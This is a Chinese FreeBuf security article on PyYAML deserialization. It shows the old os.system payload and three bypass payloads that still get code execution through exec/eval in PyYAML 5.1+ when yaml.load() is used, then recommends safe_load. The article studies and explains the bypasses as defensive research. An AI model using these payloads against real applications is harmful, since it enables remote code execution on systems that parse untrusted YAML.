freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

99+
99+
PyYAML反序列化防御和ByPass
柠檬菠萝 2020-11-30 16:55:02 450141

PyYAML介绍

PyYAML是Python出众的模块之一。PyYAML就是python的一个yaml库yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存)。若对于Python反序列化有所了解一定会听说过它。

PS:本文仅用于技术讨论,严禁用于任何非法用途,违者后果自负。

PyYAML历史漏洞和修复

它的反序列化漏洞使得大多数Python安全研究人员对齐记忆犹新。

当咱们使用反序列化时候会使用如下的载荷:

!!python/object/new:os.system ["whoami"]

并且使用load()进行加载时PyYAML将会执行os.system("whoami")。这样会导致命令执行,从而输出用户名。

该漏洞在5.1+版本之中得到修复,如果依然使用历史漏洞载荷,将会得到错误提示的告警。

while constructing a Python instance
expected a class, but found <class 'builtin_function_or_method'>
  in "<unicode string>", line 1, column 1:
    !!python/object/new:os.system [" ... 
    ^

这样因为只能反序列化部分基本类型,极大程度上缓解了反序列化漏洞带来的影响。

PyYAML ByPass

当咱们回看部分基本类型时,将会注意到Python内置方法exec、eval。在手册之中有这样一段描述。

exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码。

如此能够得到ByPass载荷。

PayLoad1:

import yaml

payload = """
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "print('漏洞存在')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.load(payload)

回显:
->漏洞存在

PayLoad2:

import yaml

payload = """
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "print('漏洞存在')"
"""
yaml.load(payload)

回显:
->漏洞存在

PayLoad3:

import yaml

payload = """
!!python/object/new:tuple 
- !!python/object/new:map 
  - !!python/name:eval
  - [ print('漏洞存在') ]
"""
yaml.load(payload)

回显:
->漏洞存在

这三种载荷均是利用基本类型之中代码执行函数,从而绕过5.1+的防御措施。

修复方法

1、按照官方推荐使用safe_load对于序列化内容进行加载。

2、检测加载文件头防止加载代码执行函数。

# python安全 # 反序列化远程命令执行 # PyYAML # Python反序列化 # PyYAMLByPass
本文为 柠檬菠萝 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
柠檬菠萝
日志审计与APT
“有趣”的漏洞
柠檬菠萝 LV.4
网名:柠檬菠萝;《Web渗透攻防实战》主编之一。
  • 16 文章数
  • 42 关注者
个人报CNVD和CNNVD披露漏洞教程
2021-12-24
FastJson 反序列化入门
2021-05-17
入门JAVA反序列化必读
2021-03-26